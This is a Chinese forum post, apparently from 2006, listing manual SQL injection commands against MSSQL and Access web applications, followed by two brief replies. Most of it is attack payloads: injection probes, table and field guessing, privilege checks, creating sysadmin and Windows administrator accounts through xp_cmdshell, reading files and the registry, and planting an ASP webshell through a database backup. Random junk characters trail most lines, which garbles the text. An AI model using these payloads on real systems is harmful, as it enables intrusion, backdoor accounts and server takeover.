社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4262阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 7_.11$E=H  
  2.初步判断是否是mssql ;and user>0 'mH) d  
VA"*6F   
  3.注入参数是字符'and [查询条件] and ''=' Xg=x7\V  
GK9/D|h4  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' %]gn?`O  
:N<.?%Kf  
  5.判断数据库系统 s:2|c]wQ#R  
~6pr0uyO`  
  ;and (select count(*) from sysobjects)>0 mssql yC3yij<oR  
z-@=+4~  
  ;and (select count(*) from msysobjects)>0 access 3I!?e!y3(  
-29gL_dk.  
%.<H=!$  
JOb*-q|y  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 j:}J}P  
:Gu+m  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 qS/V"|G(  
@WQK>-=(3  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G [:N0{v5  
-pU|hSW*b  
  9.(1)猜字段的ascii值(access) ZxG}ViS4I  
Q.9qImgN  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5GA\xM-  
U9&k;`  
  (2)猜字段的ascii值(mssql) [F_/2+e  
[97KBoSU  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 c9\2YKo  
|.F  
  10.测试权限结构(mssql) op"$E1+  
!" JfOu  
:-iMdtm  
Ja]?&j  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;>%~9j1C  
ui "3ak+F  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;Og&FFs'  
0x11 vr!  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >Jw6l0z  
qC_mu)6  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 F2|  
'lo  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- o7TN,([W  
RQkyCAGx  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- iJv48#'ii  
xrqv@/kJ  
  ;and 1=(select IS_MEMBER('db_owner'));-- y8s!M  
[3W*9j  
kF{*(r=.o  
&(z fa&j|  
  11.添加mssql和系统的帐户 E"%2)  
aYn8 ^  
  ;exec master.dbo.sp_addlogin username;-- hKNY+S})g  
  ;exec master.dbo.sp_password null,username,password;-- YC=S5;  
T# lP!c  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /({;0I*!i  
B_ja&) !s1  
  ;exec master.dbo.xp_cmdshell 'net user username password `^(jm  
`k; KBW  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =H %-.m'f2  
R//$r%a  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2oZ9laJO  
vLa#Y("  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ^ *&X~8@)  
=39 ?:VoD  
EQIUSh)M  
j'HkBW:L  
  12.(1)遍历目录 2$ !D* <  
n;8'`s  
  ;create table dirs(paths varchar(100), id int) K9[e>  
1z*kc)=JF8  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' b?Pj< tA  
-h-oMqgu(  
  ;and (select top 1 paths from dirs)>0 sVoW =4V8  
{kLGWbo|Q  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) D6~+Y~R  
`W `0Fwu9  
Q<6P. PTya  
o5Y2vmz?9  
  (2)遍历目录 K'1~^)*  
dQgk.k  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- lFUWV)J\  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 [4+q+  
z[#Fog  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 VW@ x=m  
|<`.fOxJP  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 }wwe}E-e  
\aP6_g:N}  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 JR9$. fGJ  
(QB+%2v  
tZ2K$!/B  
RGD]8 mw  
  13.mssql中的存储过程 td{O}\s7D  
hzY[ G :  
  xp_regenumvalues 注册表根键, 子键 | A:@ &|  
_7kM]">j  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .wK1El{bf  
rS*$rQCr=  
  xp_regread 根键,子键,键值名 [m'CR 4(|  
2.Yi( r  
  ;exec xp_regread [U\(G  
p" `%  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d"~(T:=r  
rrs"N3!aT  
  xp_regwrite 根键,子键, 值名, 值类型, 值 E1Q0k5@  
e kQrW%\3  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kw,$NK'  
/.V0ag'G  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 #\4 b:dv  
~^N]y b  
  xp_regdeletevalue 根键,子键,值名 uH\kQ9f  
O\OE0[[  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 {SG>'KXZ  
:Dl% _l  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 >_ X/[<  
X1A<$Am1  
b X)|MiWI  
~!+ _[uJ  
  14.mssql的backup创建webshell Ulqh@CE)  
$_j1kx$  
  use model ujgLJ77  
qJ8-9^E,L  
  create table cmd(str image); 9 1P4:6  
R9r+kj_  
  insert into cmd(str) values (''); `_ (~ Ud  
PI|`vC|yy&  
  backup database model to disk='c:\l.asp'; VY'Q|[  
';RI7)<  
x:5dC I  
)QY![&k}1z  
  15.mssql内置函数 tSv0" L  
+=c am/A  
  ;and (select @@version)>0 获得Windows的版本号 _$/ +D:K  
IS]{}Y\3H  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa X QbNH~  
L2-^! '  
  ;and (select user_name())>0 爆当前系统的连接用户 _zC (J  
(TSqc5^H  
  ;and (select db_name())>0 得到当前连接的数据库 ~!+h?[miV  
V`fL%du,3  
5)+F(  
#iis/6"  
  16.简洁的webshell m/USC'U%  
A%ywj'|z  
  use model *,#q'!Hq  
S2=%x.  
  create table cmd(str image); 0^_MN~s(X  
3;$bS<>  
  insert into cmd(str) values (''); PDw{R]V+  
BSXdvI1y  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八